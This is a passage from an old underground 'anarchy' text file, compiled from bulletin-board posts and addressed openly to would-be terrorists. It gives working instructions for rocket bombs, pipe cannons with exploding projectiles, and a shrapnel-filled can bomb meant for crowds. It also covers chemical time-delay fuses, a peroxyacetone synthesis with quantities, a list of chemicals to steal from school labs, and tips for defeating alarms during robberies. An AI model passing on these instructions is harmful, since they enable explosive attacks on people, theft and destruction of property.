inch long section of a plastic straw can be attached to the rocket to launch
it from. A clothes hanger can be cut and made into a launch rod. The segment
of a plastic straw should be glued to the rocket engine adjacent to one of the
fins of the rocket. A front view of a completed rocket bomb is shown below.
|
fin | <------ fin
| | |
| | |
| __|__ |
V / \ V
---------------| |---------------
\_____/
|o <----------- segment of plastic straw
|
|
| <------ fin
|
|
By cutting a coat hanger at the indicated arrows, and bending it, a
launch rod can be made. After a fuse is inserted in the engine, the rocket is
simply slid down the launch rod, which is put through the segment of plastic
straw. The rocket should slide easily along a coathanger, such as the one
illustated on the following page:
____
/ \
| |
cut here _____ |
| |
| |
| / \
V / \
_________________/ \________________
/ \
/ \
/____________________________________________\
^
|
|
and here ______|
Bend wire to this shape:
_______ insert into straw
|
|
|
V
____________________________________________
\
\
\
\
\ <--------- bend here to adjust flight angle
|
|
|
|
|
| <---------- put this end in ground
|
LONG RANGE ROCKET BOMB
Long range rockets can be made by using multi-stage rockets. Model
rocket engines with an "0" for a time delay are designed for use in
multi-stage rockets. An engine such as the D12-0 is an excellent example of
such an engine. Immediately after the thrust period is over, the ejection
charge explodes. If another engine is placed directly against the back of an
"0" engine, the explosion of the ejection charge will send hot gasses and
burning particles into the nozzle of the engine above it, and ignite the
thrust section. This will push the used "0" engine off of the rocket, causing
an overall loss of weight.
The main advantage of a multi-stage rocket is that it loses weight as
travels, and it gains velocity. A multi-stage rocket must be designed
somewhat differently than a single stage rocket, since, in order for a rocket
to fly straight, its center of gravity must be ahead of its center of drag.
This is accomplished by adding weight to the front of the rocket, or by moving
the center of drag back by putting fins on the rocket that are well behind the
rocket. A diagram of a multi-stage rocket appears on the following page:
___
/ \
| |
| C |
| M | ------ CM: Crater Maker
| |
| |
|___|
| |
| |
| |
| C | ------ C6-5 rocket engine
/| 6 |\
/ | | | \
/ | 5 | \
/ |___| \ ---- fin
/ /| |\ \
/ / | | \ \
/ / | | \ \
/ / | C | \ \
| / | 6 | \ |
| / | | | \ |
| / | 0 | \ |
|/ |___| \|
| / \ |
\______/ ^ \______/ ------- fin
|
|
|
|
C6-0 rocket engine
The fuse is put in the bottom engine.
Two, three, or even four stages can be added to a rocket bomb to give it
a longer range. It is important, however, that for each additional stage, the
fin area gets larger.
-= Exodus =-
'94
BASIC PIPE CANNON -= Exodus =-
A simple cannon can be made from a thick pipe by almost anyone. The only
difficult part is finding a pipe that is extremely smooth on its interior.
This is absolutely necessary; otherwise, the projectile may jam. Copper or
aluminum piping is usually smooth enough, but it must also be extremely thick
to withstand the pressure developed by the expanding hot gasses in a cannon.
If one uses a projectile such as a CO2 cartridge, since such a projectile
can be made to explode, a pipe that is about 1.5 - 2 feet long is ideal. Such
a pipe MUST have walls that are at least 1/3 to 1/2 an inch thick, and be very
smooth on the interior. If possible, screw an endplug into the pipe.
Otherwise, the pipe must be crimped and folded closed, without cracking or
tearing the pipe. A small hole is drilled in the back of the pipe near the
crimp or endplug. Then, all that need be done is fill the pipe with about two
teaspoons of grade blackpowder or pyrodex, insert a fuse, pack it lightly by
ramming a wad of tissue paper down the barrel, and drop in a CO2 cartridge.
Brace the cannon securely against a strong structure, light the fuse, and run.
If the person is lucky, he will not have overcharged the cannon, and he will
not be hit by pieces of exploding barrel. Such a cannon would look like this:
__________________ fuse hole
|
|
V
________________________________________________________________
| |_____________________________________________________________|
|endplug|powder|t.p.| CO2 cartridge
| ______|______|____|____________________________________________
|_|______________________________________________________________|
An exploding projectile can be made for this type of cannon with a CO2
cartridge. It is relatively simple to do. Just make a crater maker, and
construct it such that the fuse projects about an inch from the end of the
cartridge. Then, wrap the fuse with duct tape, covering it entirely, except
for a small amount at the end. Put this in the pipe cannon without using a
tissue paper packing wad.
___
When the cannon is fired, it ( )
will ignite the end of the |C |
fuse, and shoot the CO2 | M|
cartridge. The | |
explosive-filled cartridge | |
will explode in about three \ /
seconds, if all goes well. [] <--- taped fuse
Such a projectile would look []
like this: []
! <--- Bare fuse (add matchheads)
ROCKET FIRING CANNON
___ A rocket firing cannon can be made exactly like a
/ \ normal cannon; the only difference is the ammunition. A
| | rocket fired from a cannon will fly further than a rocket
| C | alone, since the action of shooting it overcomes the
| M | initial inertia. A rocket that is launched when it is
| | moving will go further than one that is launched when it
| | is stationary. Such a rocket would resemble a normal
|___| rocket bomb, except it would have no fins. It would look
| E | like the image to the left.
| N |
| G | the fuse on such a device would, obviously, be short,
| I | but it would not be ignited until the rocket's ejection
| N | charge exploded. Thus, the delay before the ejection
| E | charge, in effect, becomes the delay before the bomb
|___| explodes. Note that no fuse need be put in the rocket; the
burning powder in the cannon will ignite it, and
simultaneously push the rocket out of the cannon at a high
velocity.
REINFORCED PIPE CANNON
In high school, a friend and I built cannons and launched CO2 cartridges, etc,
etc. However, the design of the cannon is what I want to add here.
It was made from plain steel water pipe, steel wire, and lead.
Here is a cross section:
_______
| |
| xxxxx_____________________________________________ 2" ID pipe
| |_________________________________________________
| | .................... <- steel wire }
| | _____ } 3/4" ID pipe
this | | | xxx______________________________________}_________________
wire | | | |__________________________________________________________
holds | |....| |
it up |>|....| |
in the| | | |__________________________________________________________
cooker| | | xxx________________________________________________________
| | |____ }
| | ..................... } <- cast lead
| |_______________________________________________}_
| | _____________________________________________
| xxxxx
|_____|
We dug into the side of a sand pile and built a chimney out of firebrick.
Then we stood the assembled pipe and wire on end in the chimney, sitting on
some bricks. We then had a blowtorch heating up the chimney, so that the pipe
was red hot. Then we poured molten lead into the space between the pipes. If
the caps aren't screwed on real tight, some of the lead will leak out. If
that happens, turn off the blowtorch and the pipe will cool enough and the
lead will stiffen and stop the leak.
We used homemeade and commercial black powder, and slow smokeless shotgun
powder in this thing. After hundreds of shots we cut it up and there was no
evidence of cracks or swelling of the inner pipe.
SMOKE BOMBS 4.14 -= Exodus =-
One type of pyrotechnic device that might be employed by a terrorist in
many way would be a smoke bomb. Such a device could conceal the getaway
route, or cause a diversion, or simply provide cover. Such a device, were it
to produce enough smoke that smelled bad enough, could force the evacuation of
a building, for example. Smoke bombs are not difficult to make. Although the
military smoke bombs employ powdered white phosphorus or titanium compounds,
such materials are usually unavailable to even the most well-equipped
terrorist. Instead, he/she would have to make the smoke bomb for themselves.
Most homemade smoke bombs usually employ some type of base powder, such
as black powder or pyrodex, to support combustion. The base material will
burn well, and provide heat to cause the other materials in the device to
burn, but not completely or cleanly. Table sugar, mixed with sulfur and a
base material, produces large amounts of smoke. Sawdust, especially if it has
a small amount of oil in it, and a base powder works well also. Other
excellent smoke ingredients are small pieces of rubber, finely ground
plastics, and many chemical mixtures. The material in road flares can be
mixed with sugar and sulfur and a base powder produces much smoke. Most of
the fuel-oxodizer mixtures, if the ratio is not correct, produce much smoke
when added to a base powder. The list of possibilities goes on and on. The
trick to a successful smoke bomb also lies in the container used. A plastic
cylinder works well, and contributes to the smoke produced. The hole in the
smoke bomb where the fuse enters must be large enough to allow the material to
burn without causing an explosion. This is another plus for plastic
containers, since they will melt and burn when the smoke material ignites,
producing an opening large enough to prevent an explosion.
--SIMPLE SMOKE
The following reaction should produce a fair amount of smoke. Since this
reaction is not all that dangerous you can use larger amounts if necessary
6 pt. ZINC POWDER
1 pt. SULFUR POWDER
Insert a red hot wire into the pile, step back.
---COLORED FLAMES
Colored flames can often be used as a signaling device for terrorists. by
putting a ball of colored flame material in a rocket; the rocket, when the
ejection charge fires, will send out a burning colored ball. The materials that
produce the different colors of flames appear below.
COLOR MATERIAL USED IN
red strontium road flares,
salts red sparklers
(strontium
nitrate)
green barium salts green sparklers
(barium nitrate)
yellow sodium salts gold sparklers
(sodium nitrate)
blue powdered copper blue sparklers,
old pennies
white powdered magnesium firestarters,
or aluminum aluminum foil
purple potassium permanganate purple fountains,
treating sewage
** FIRECRACKERS **
A simple firecracker can be made from cardboard tubing and epoxy. The
instructions are below:
1) Cut a small piece of cardboard tubing from the tube you are using.
"Small" means anything less than 4 times the diameter of the tube.
2) Set the section of tubing down on a piece of wax paper, and fill it with
epoxy and the drying agent to a height of 3/4 the diameter of the tubing.
Allow the epoxy to dry to maximum hardness, as specified on the package.
3) When it is dry, put a small hole in the middle of the tube, and insert a
desired length of fuse.
4) Fill the tube with any type of flame-sensitive explosive. Flash powder,
pyrodex, black powder, potassium picrate, lead azide, nitrocellulose, or
any of the fast burning fuel-oxodizer mixtures will do nicely. Fill the
tube almost to the top.
5) Pack the explosive tightly in the tube with a wad of tissue paper and a
pencil or other suitable ramrod. Be sure to leave enough space for more
epoxy.
6) Fill the remainder of the tube with the epoxy and hardener, and allow it
to dry.
7) For those who wish to make spectacular firecrackers, always use flash
powder, mixed with a small amount of other material for colors. By crushing
the material on a sparkler, and adding it to the flash powder, the
explosion will be the same color as the sparkler. By adding small chunks
of sparkler material, the device will throw out colored burning sparks, of
the same color as the sparkler. By adding powdered iron, orange sparks
will be produced. White sparks can be produced from magnesium shavings, or
from small, LIGHTLY crumpled balls of aluminum foil.
Example: Suppose I wish to make a firecracker that will explode
with a red flash, and throw out white sparks.
First, I would take a road flare, and finely powder the material
inside it. Or, I could take a red sparkler, and finely powder it.
Then, I would mix a small amount of this material with the flash powder.
(NOTE: FLASH POWDER MAY REACT WITH SOME MATERIALS THAT IT IS MIXED WITH,
AND EXPLODE SPONTANEOUSLY!) I would mix it in a ratio of 9 parts flash
powder to 1 part of flare or sparkler material, and add about 15 small
balls of aluminum foil I would store the material in a plastic bag
overnight outside of the house, to make sure that the stuff doesn't react.
Then, in the morning, I would test a small amount of it, and if it was
satisfactory, I would put it in the firecracker.
8) If this type of firecracker is mounted on a rocket engine, professional to
semi-professional displays can be produced.
--SKYROCKETS
An impressive home made skyrocket can easily be made in the home from
model rocket engines. Estes engines are recommended.
1) Buy an Estes Model Rocket Engine of the desired size, remembering that
the power doubles with each letter. (See sect. 6.1 for details)
2) Either buy a section of body tube for model rockets that exactly fits the
engine, or make a tube from several thicknesses of paper and glue.
3) Scrape out the clay backing on the back of the engine, so that the powder
is exposed. Glue the tube to the engine, so that the tube covers at least
half the engine. Pour a small charge of flash powder in the tube, about
1/2 an inch.
4) By adding materials as detailed in the section on firecrackers, various
types of effects can be produced.
5) By putting Jumping Jacks or bottle rockets without the stick in the tube,
spectacular displays with moving fireballs or M.R.V.'s can be produced.
6) Finally, by mounting many home made firecrackers on the tube with the
fuses in the tube, multiple colored bursts can be made.
---ROMAN CANDLES
Roman candles are impressive to watch. They are relatively difficult to
make, compared to the other types of home-made fireworks, but they are well
worth the trouble.
1) Buy a 1/2 inch thick model rocket body tube, and reinforce it with several
layers of paper and/or masking tape. This must be done to prevent the tube
from exploding. Cut the tube into about 10 inch lengths.
2) Put the tube on a sheet of wax paper, and seal one end with epoxy and the
drying agent. About 1/2 of an inch is sufficient.
3) Put a hole in the tube just above the bottom layer of epoxy, and insert a
desired length of water proof fuse. Make sure that the fuse fits tightly.
4) Pour about 1 inch of pyrodex or gunpowder down the open end of the tube.
5) Make a ball by powdering about two 6 inch sparklers of the desired color.
Mix this powder with a small amount of flash powder and a small amount of
pyrodex, to have a final ratio (by volume) of 60% sparkler material / 20%
flash powder / 20% pyrodex. After mixing the powders well, add water, one
drop at a time, and mixing continuously, until a damp paste is formed.
This paste should be moldable by hand, and should retain its shape when
left alone. Make a ball out of the paste that just fits into the tube.
Allow the ball to dry.
6) When it is dry, drop the ball down the tube. It should slide down fairly
easily. Put a small wad of tissue paper in the tube, and pack it gently
against the ball with a pencil.
7) When ready to use, put the candle in a hole in the ground, pointed in a
safe direction, light the fuse, and run. If the device works, a colored
fireball should shoot out of the tube to a height of about 30 feet. This
height can be increased by adding a slightly larger powder charge in step
4, or by using a slightly longer tube.
8) If the ball does not ignite, add slightly more pyrodex in step 5.
9) The balls made for roman candles also function very well in rockets,
producing an effect of falling colored fireballs.
-= Exodus =- '94
-------**>> LISTS OF SUPPLIERS AND MORE INFORMATION <<**--------
Most, if not all, of the information in this publication can be obtained
through a public or university library. There are also many publications that
are put out by people who want to make money by telling other people how to
make explosives at home. Adds for such appear frequently in paramilitary
magazines and newspapers. This list is presented to show the large number of
places that information and materials can be purchased from. It also
includes fireworks companies and the like.
COMPANY NAME AND ADDRESS WHAT COMPANY SELLS
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FULL AUTO CO. INC. EXPLOSIVE RECIPES,
P.O. BOX 1881 PAPER TUBING
MURFREESBORO, TN
37133
UNLIMITED CHEMICALS AND FUSE
BOX 1378-SN
HERMISTON, OREGON
97838
AMERICAN FIREWORKS NEWS FIREWORKS NEWS MAGAZINE WITH
SR BOX 30 SOURCES AND TECHNIQUES
DINGMAN'S FERRY, PENNSYLVANIA 18328
BARNETT INTERNATIONAL INC. BOWS, CROSSBOWS, ARCHERY MATERIALS,
125 RUNNELS STREET AIR RIFLES
P.O. BOX 226
PORT HURON, MICHIGAN 48060
CROSSMAN AIR GUNS AIR GUNS
P.O. BOX 22927
ROCHESTER, NEW YORK
14692
R. ALLEN PROFESSIONAL FIREWORKS CONSTRUCTION
P.O. BOX 146 BOOKS & FORMULAS
WILLOW GROVE, PA 19090
MJ DISTRIBUTING FIREWORKS FORMULAS
P.O. BOX 10585
YAKIMA,WA 98909
EXECUTIVE PROTECTION PRODUCTS INC. TEAR GAS GRENADES,
316 CALIFORNIA AVE. PROTECTION DEVICES
RENO, NEVADA
89509
COMPANY NAME AND ADDRESS WHAT COMPANY SELLS
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
BADGER FIREWORKS CO. INC. CLASS "B" AND "C" FIREWORKS BOX 1451
JANESVILLE, WISCONSIN
53547
NEW ENGLAND FIREWORKS CO. INC. CLASS "C" FIREWORKS P.O. BOX 3504
STAMFORD, CONNECTICUTT
06095
RAINBOW TRAIL CLASS "C" FIREWORKS BOX 581
EDGEMONT, PENNSYLVANIA 19028
STONINGTON FIREWORKS INC. CLASS "C" AND "B" FIREWORKS 4010 NEW
WILSEY BAY U.25 ROAD
RAPID RIVER, MICHIGAN 49878
WINDY CITY FIREWORKS INC. CLASS "C" AND "B" FIREWORKS
P.O. BOX 11 (GOOD PRICES!)
ROCHESTER, INDIANA 46975
BOOKS
ÄÄÄÄÄ
THE ANARCHIST COOKBOOK II-IV (highly circulated)
THE IMPROVISED MUNITIONS MANUAL (formulas work, but put maker at risk)
MILITARY EXPLOSIVES
Two manuals of interest: Duponts "Blaster's Handbook", a $20 manual mainly
useful for rock and seismographic operations. Atlas's "Powder Manual" or
"Manual of Rock Blasting" (I forget the title, it's in the office). This is a
$60 book, well worth the cash, dealing with the above two topics, plus
demolitions, and non-quarry blasting.
-= Exodus =-
CHECKLIST FOR RAIDS ON LABS by: Exodus
In the end, the serious terrorist would probably realize that if he/she
wishes to make a truly useful explosive, he or she will have to steal the
chemicals to make the explosive from a lab. A list of such chemicals in order
of priority would probably resemble the following:
LIQUIDS SOLIDS
_______ ______
____ Nitric Acid ____ Potassium Perchlorate
____ Sulfuric Acid ____ Potassium Chlorate
____ 95% Ethanol ____ Picric Acid (usually a powder)
____ Toluene ____ Ammonium Nitrate
____ Perchloric Acid ____ Powdered Magnesium
____ Hydrochloric Acid ____ Powdered Aluminum
____ Potassium Permanganate
GASES ____ Sulfur (flowers of)
_______ ____ Mercury
____ Potassium Nitrate
____ Hydrogen ____ Potassium Hydroxide
____ Oxygen ____ Phosphorus
____ Chlorine ____ Sodium Azide
____ Carbon Dioxide ____ Lead Acetate
____ Barium Nitrate
Print this sheet out and carry it with you! Memorize it, anything. It is
INVALUABLE. All of these chemicals should be carried in your school lab.
Happy hunting. :)
- Exodus -
MISC ANARCHY!
PART 2 - Tennis ball cannons
------ Information from the Usenet. The Usenet is a worldwide network of
15,000 machines and over 500,000 people- And growing!
Addendum by The Editor: If you aren't in the Chicago area,
check a local BBS list. If you see a BBS which runs under UNIX,
odds are it carries usenet. The appropriate place to look is
rec.pyrotechnics.
At this time (twelve years ago) most soft drink cans were rolled tin rather
than the molded aluminum. We would cut the tops and bottoms off of a bunch
of them and tape them together with duct tape, forming a tube of two feet or
more.
At the end we would tape a can with the bottom intact, more holes
punched (with a can opener) around the top, and a small hole in the side at
the base. We then fastened this contraption to a tripod so we could aim it
reliably. Any object that came somewhat close to filling the tube was then
placed therein.
In the shop, we used the clock as a target and an empty plastic
solder spool as ammunition, with tape over the ends of the center hole and
sometimes filled with washers for weight. When taken to parties or picnics,
we would use whatever was handy. Hot dog rolls or napkins filled with potato
chips provided spectacular entertainment.
Once loaded, a small amount of lighter fluid was poured into the hole
in the side of the end can and allowed to vaporize for a few moments. The
"fire control technician" would announce "Fire in the Hole" and ignite it.
BOOM! Whoosh! The clock never worked after that!
----------
Our version of the potato chip cannon, originally designed around the
Pringles potato chip can, was built similarly. Ours used coke cans, six with
the top and bottom removed, and the seventh had Bottle opener holes all
around one end, the top of this can was covered with a grid or piece of wire
screening to keep the tennis ball from falling all the way to the bottom.
This was spiral wrapped with at least two rolls of duct tape.
A wooden shoulder rest and forward hand grip was taped to the tube. For
ignition we used lantern batteries to a model-t coil, actuated by a push
button on the hand grip. A fresh wilson tennis ball was stuffed all the way
back to the grid, and a drop or two of lighter fluid was dropped in one of
two holes in the end. The ignition wire was poked through the other hole.
We would then lie in ambush, waiting for somthing to move. When fired
with the proper air/fuel mixture, a satisfying thoomp! At maximum range the
ball would travel about 100 yards with a 45 degree launch angle. Closer up
the ball would leave a welt on an warring opponent. When launched at a
moving car the thud as it hit the door would generally rattle anyone inside.
Luckily we never completed the one that shot golf balls.
PART 4
More Fun Stuff for Terrorists
Carbide Bomb
This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some calcium
carbide. This is the stuff that is used in carbide lamps and can be found at
nearly any hardware store.
Take a few pieces of this stuff (it looks like gravel) and put it in a
glass jar with some water. Put a lid on tightly. The carbide will react with
the water to produce acetylene carbonate which is similar to the gas used in
cutting torches.
Eventually the glass with explode from internal pressure. If you leave a
burning rag nearby, you will get a nice fireball!
Auto Exhaust Flame Thrower
For this one, all you need is a car, a sparkplug, ignition wire and a switch.
Install the spark plug into the last four or five inches of the tailpipeby
drilling a hole that the plug can screw into easily. Attach the wire (this is
regular insulated wire) to one side of the switch and to the spark plug. The
other side of the switch is attached to the positive terminal on the battery.
With the car running, simply hit the switch and watch the flames fly!!! Again be
careful that no one is behind you! I have seen some of these flames go 20
feet!!!
PART 5- This is all various files I gleaned from BBS's. (Added 8-23-90)
Balloons are fun to play with in chem lab, fill them with the gas
that you get out of the taps on the lab desks, then tie up the balloon
tight, and drop it out the window to the burnouts below, you know, the ones
that are always smoking, they love to pop balloons with lit cigarette.... get
the picture? Good...
-= Exodus =-
OPENING COMBO LOCKS
[ Touched up by V.T - The Editor ]
First of all, let me tell you about the set-up of a lock. When the lock
is locked, there is a curved piece of metal wedged inside the little notch on
the horseshoe shaped bar (known as the shackle) that is pushed in to the lock
when you lock it.
To free this wedge, you usually have to turn the lock to the desired
combination and the pressure on the wedge is released therefore letting the
lock open. I will now tell you how to make a pick so you can open a lock
without having to waste all that time turning the combination (this also helps
when you don't know the combination to begin with).
To bypass this hassle, simply take a thinned hairpin (file it down) or
a opened out piece of a collapsing antenna (the inside diameter of the curved
piece of metal should be the same as the diameter of the shackle- if the metal
is too thick, use fine sandpaper to thin it down.
Once you have your hair pin (make sure it's metal), take the ridged side
and break it off right before it starts to make a U-turn onto the straight
side. The curved part can now be used as a handle. Now, using a file, file
down the other end until it is fairly thin. You should do this to many
hairpins and file them so they are of different thicknesses so you can jimmy
various locks.
Look at a lock to see which side the lock opens from. If you can't tell,
you will just have to try both sides. When ya find out what side it opens
from, , take the lock pick and stick the filed end into the inside of the
horseshoe-shaped bar on whichever side the lock opens from.
Now, put pressure on the handle of the lock pick (pushing down, into the
crack) and pull the lock up and down. The lock will then open because the
pick separated the wedge and the notch allowing it to open.
Also, this technique works best on American locks. I have never picked a
Master lock before because of the shape a pressure of the wedge but if anyone
does it, let me know how long it took. Also, the Master lock casing is very
tight so ya can't get the shim in.
-------Exodus
PYROTECHNICAL DELIGHTS
WRITTEN BY RAGNER ROCKER
Many of you out there probably have fantasies of revenge against teachers,
principals and other people who are justassholes. depending on your level of
hatred of this person i would advise that you do some of these following
experiments:
(1) Pouring dishsoap into the gas tank of your enemy- many of you already
know that gasoline + dishsoap(e.g. joy, palmolive, etc.) form a mixture
called napalm. now napalm is a jelly-like substance used in bombs,
flamethrowers, etc. now you can only guess what this mixture would do to
someone's fuel line!!!!
(2) Spreading dirty motor oil/castor oil on someone's exhaust pipe- when
the exhaust pipe heats up(and it will!!)the motor oil or castor oil on the pipe
will cause thick, disgusting smoke to ooze forth from the back of that car.
Who knows maybe he/she might be pulled over and given a ticket!!
(3) Light Bulb Bomb- see part one of the file
(4) Simple smoke/stink bomb- you can purchaase sulphur at a drugstore under
the name flowers of sulphur. now when sulphur burns it will give off a very
strong odor and plenty of smoke. now all you need is a fuse from a
firecracker, a tin can, and the sulphur. fill the can with sulphur(pack very
lightly), put aluninum foil over the top of the can, poke a small hole into
the foil, insert the wick, and light it and get out of the room if you value
your lungs. you can find many uses for this( or at least i hope so.
FUN WITH ALARMS
A fact I forgot to mention in my previous alarm articles is that one can
also use polyurethane foam in a can to silence horns and bells. You can
purchase this at any hardware store as insulation. it is easy to handle and
dries faster.
Many people that travel carry a pocket alarm with them. this alarm is a small
device that is hung around the door knob, and when someone touches the knob his
body capacitance sets off the alarm. these nasty nuisences can be found by
walking down the halls of a hotel and touching all the door knobs very quickly.
if you happen to chance upon one, attach a 3' length of wire or other metal
object to the knob. this will cause the sleeping business pig inside to think
someone is breaking in and call room service for help. all sorts of fun and
games will ensue.
Some high-security instalations use keypads just like touch-tone pads (a
registered trade mark of bell systems) to open locks or disarm alarms. most
use three or four digits. to figure out the code, wipe the key-pad free from
all fingerprints by using a rag soaked in rubbing alcohol. after the keypad
has been used just apply finger print dust and all four digits will be marked.
now all you have to do is figure out the order. if you want to have some fun
with a keypad, try pressing the * and # at the same time. many units use this
as a panic button. This will bring the owner and the cops running and ever-one
will have a good time. never try to remove these panels from the wall, as
they have built-in tamper switches.
On the subject of holdups, most places (including supermarkets, liqour
stores, etc.) have what is known as a money clip. these little nasties are
placed at the bottom of a money drawer and when the last few bills are
with-drawn a switch closes and sets the alarm off. that's why when you make
your withdrawl it's best to help yourself so you can check for these little. if you find them, merely insert ones underneath the
pile of
twenties, and then pull out the twenties, leaving the one-dollar bill behind
to prevent the circuit from closing.
SOFT DRINK CAN BOMB AN ARTICLE FROM THE BOOK:
THE POOR MAN'S JAMES BOND BY KURT SAXON
This is an anti-personnel bomb meant for milling crowds. the bottom of a
soft drink can is half cut out and bent back. a giant firecracker or other
explosive is put in and surrounded with nuts and bolts or rocks. the fuse is
then armed with a chemical delay in a plastic drinking straw.
! ! After first making sure there are no
! ! children nearby, the acid or glycerine
! ! <-CHEMICAL INGITER is put into the straw and the can is set
---- ---- down by a tree or wall where it will not
! !1! ! be knocked over. the delay should give
! ===== ! you three to five minutes. it will then
!* ! ! "! have a shattering effect on passersby.
! ! ! !
! ! ! !<- BIG FIRECRACKER
! ! !% !
! ==== !
! !
! # ! It is hardly likely that anyone would
! --- ! pick up and drink from someone else's
! ! ! <- NUTS & BOLTS soft drink can. but if such a crude
! / ! person should try to drink from your
! ! bomb he would break a nasty habit
--------- fast!
Pyro Book ][ by Capt Hack and Grey Wolf
TIME DELAYED CHEMICAL FUSE
1) Put 1 teaspoon full of of potassium permanganate in a tin can.
2) add a few drops of glycerine
3) wait 3-4 min.
4) get the hell out.. the stuff will smoke, then burst into flame..
** potasium permanganate stains like iodine but worse [it's purple]
** the reaction will spatter a bit ->it can be messy...
** it doesn't matter if the amounts are uneven [ie. 1 part to 3 parts]
EXPLOSIVES AND INCENDIARIES by THE RESEARCHER
INTRODUCTION: The trouble with text books on chemistry and explosives is the
attitude with which they are written. They don't say, "Now I know you would
like to blow holy hell out of something just for the fun of it so here is how
to whip up something in your kitchen to do it". They tell you how Dupont does
it or how the anchient Chinese did it but not how you can do it with the
resourses and materials available to you.
Even army manuals on field expedient explosives are almost useless because
they are just outlines written with the understanding that an instructor is
going to fill in the blanks. It is a fun game to search out the materials
that can be put together to make something go "boom". You can find what you
need in grocery stores, hardware stores, and farm supplies. An interesting
point to remember is that it is much easier to make a big e explosion than a
small one. It is very difficult for a home experimenter to make a
firecracker, but a bomb capable of blowing the walls out of a building is
easy.
HOW TO MAKE ROCKET FUEL
This is easy to make and fun to play with. Mix equal parts by volume
Potassium or Sodium Nitrate and granulated sugar. Pour a big spoonful of
this into a pile. Stick a piece of blackmatch fuse into it; light; and step
back. This is also a very hot incendiary. A little imagination will suggest
a lot of experiments for this.
ANOTHER ROCKET FUEL
Mix equal parts by volume of zinc dust and sulfur. Watch out if you
experiment with this. It goes off in a sudden flash. It is not a powerful
explosive, but is violent stuff even when not confined because of its fast
burning rate.
--- As I continue from this point some of the ingredients are going to be
harder to get without going through a chemical supply. I try to avoid this.
I happen to know that B. Prieser Scientific (local to my area) has been
instructed by the police to send them the names of anyone buying chemicals in
certain combinations. For example, if a person were to buy Sulfuric acid,
Nitric acid and Toluene (the makings for TNT) in one order the police would be
notified. I will do the best I can to tell you how to make the things you
need from commonly available materials, but I don't want to leave out
something really good because you might have to scrounge for an ingredient. I
am guessing you would prefer it that way.
HOW TO MAKE AN EXPLOSIVE FROM COMMON MATCHES
Pinch the head near the bottom with a pair of wire cutters to break it up;
then use the edges of the cutters to scrape off the loose material. It gets
easy with practice. You can do this while watching TV and collect enough for
a bomb without dying of boredom.
Once you have a good batch of it, you can load it into a pipe instead of
black powder. Be careful not to get any in the threads, and wipe off any that
gets on the end of the pipe. Never try to use this stuff for rocket fuel. A
science teacher was killed that way.
Just for fun while I'm on the subject of matches, did you know that you
can strike a safety match on a window pane? Hold a paper match between your
thumb and first finger. With your second finger, press the head firmly
against a large window. Very quickly, rub the match down the pane about 2
feet while maintaining the pressure. The friction will generate enough heat
to light the match.
Another fun trick is the match rocket. Tightly wrap the top half of a paper
match with foil. Set it in the top of a pop bottle at a 45 degree angle.
Hold a lighted match under the head until it ignites. If you got it right,
the match will zip up and hit the ceiling.
I just remembered the match guns I used to make when I was a kid. These are
made from a bicycle spoke. At one end of the spoke is a piece that screws
off. Take it off and screw it on backwards. You now have a piece of stiff
wire with a small hollow tube on one end. Pack the material from a couple of
wooden safety matches into the tube. Force the stem of a match into the hole.
It sould fit very tightly. Hold a lighted match under the tube until it gets
hot enough to ignite the powder. It goes off with a bang.
HOW TO MAKE CONCENTRATED SULFURIC ACID FROM BATTERY ACID
Go to an auto supply store and ask for "a small battery acid". This should
only cost a few dollars. What you will get is about a gallon of dilute
sulfuric acid. Put a pint of this into a heat resistant glass container. The
glass pitchers used for making coffee are perfect. Do not use a metal container.
Use an extension cord to set up a hotplate out doors. Boil the acid until
white fumes appear. As soon as you see the white fumes, turn off the hot
plate and let the acid cool. Pour the now concentrated acid into a glass
container. The container must have a glass stopper or plastic cap -- no
metal. It must be air tight. Otherwize, the acid will quickly absorb
moisture from the air and become diluted. Want to know how to make a time
bomb that doesn't tick and has no wires or batteries? Hold on to your acid and
follow me into the next installment.
HOW TO MAKE A CHEMICAL TIME DELAY FUSE:
To get an understanding of how this is going to work, mix up equal parts
by volume Potassium chlorate and granulated sugar. Pour a spoonful of the
mixture in a small pile and make a depression in the top with the end of a
spoon. Using a medicine dropper, place one drop of concentrated sulfuric acid
in the depression and step back.
It will snap and crackle a few times and then burst into vigorous flames.
To make the fuse, cut about 2 inches off a plastic drinking straw. Tamp a
small piece of cotton in one end. On top of this put about an inch of the
clorate/sugar mixture.
Now lightly tamp in about a quarter inch of either glass wool or asbestos
fibers. Secure this with the open end up and drop in 3 or 4 drops of sulfuric
acid. After a few minutes the acid will soak through the fibers and ignite
the mixture.
The time delay can be controled by the amount of fiber used and by varying
how tightly it is packed. Don't use cotton for this. The acid will react
with cotton and become weakened in the process. By punching a hole in the
side of the straw, a piece of blackmatch or other fuse can be inserted and
used to set off the device of your choice.
Potassium chlorate was very popular with the radical underground. It can
be used to make a wide variety of explosives and incendiaries, some of them
extremely dangerous to handle. The radicals lost several people that way.
But, don't worry. I am not going to try to protect you from yourself. I have
decided to tell all. I will have more to say about Potassium chlorate, but
for now, let's look at a couple of interesting electric fuses.
PEROXYACETONE
PEROXYACETONE IS EXTREMELY FLAMMABLE AND HAS BEEN REPORTED TO BE SHOCK
SENSITIVE.
MATERIALS-
4ML ACETONE
4ML 30% HYDROGEN PEROXIDE
4 DROPS CONC. HYDROCHLORIC ACID
150MM TEST TUBE
Add 4ml acetone and 4ml hydrogen peroxide to the test tube. then add 4 drops
concentrated hydrochloric acid. In 10-20 minutes a white solid should begin to
appear. if no change is observed, warm the test tube in a water bath at 40
celsius. Allow the reaction to continue for two hours. Swirl the slurry and
filter it. Leave out on filter paper to dry for at least two hours. To
ignite, light a candle tied to a meter stick and light it (while staying at
least a meter away) .
I would like to give credit to a book by shakashari entitled "Chemical
demonstrations" for a few of the precise amounts of chemicals in some
experiments.
...ZAPHOD BEEBLEBROX/MPG!
THE CHEMIST'S CORNER #2: HOUSEHOLD CHEMICALS, BY ZAPHOD BEEBLEBROX/MPG
This article deals with instructions on how to do some interesting
experiments with common household chemicals. Some may or may not work
depending on the concentration of certain chemicals in different areas and
brands. I would suggest that the person doing these experiments have some
knowledge of chemistry, especially for the more dangerous experiments.
I am not responsible for any injury or damage caused by people using this
information. It is provided for use by people knowledgable in chemistry who
are interested in such experiments and can safely handle such experiments.
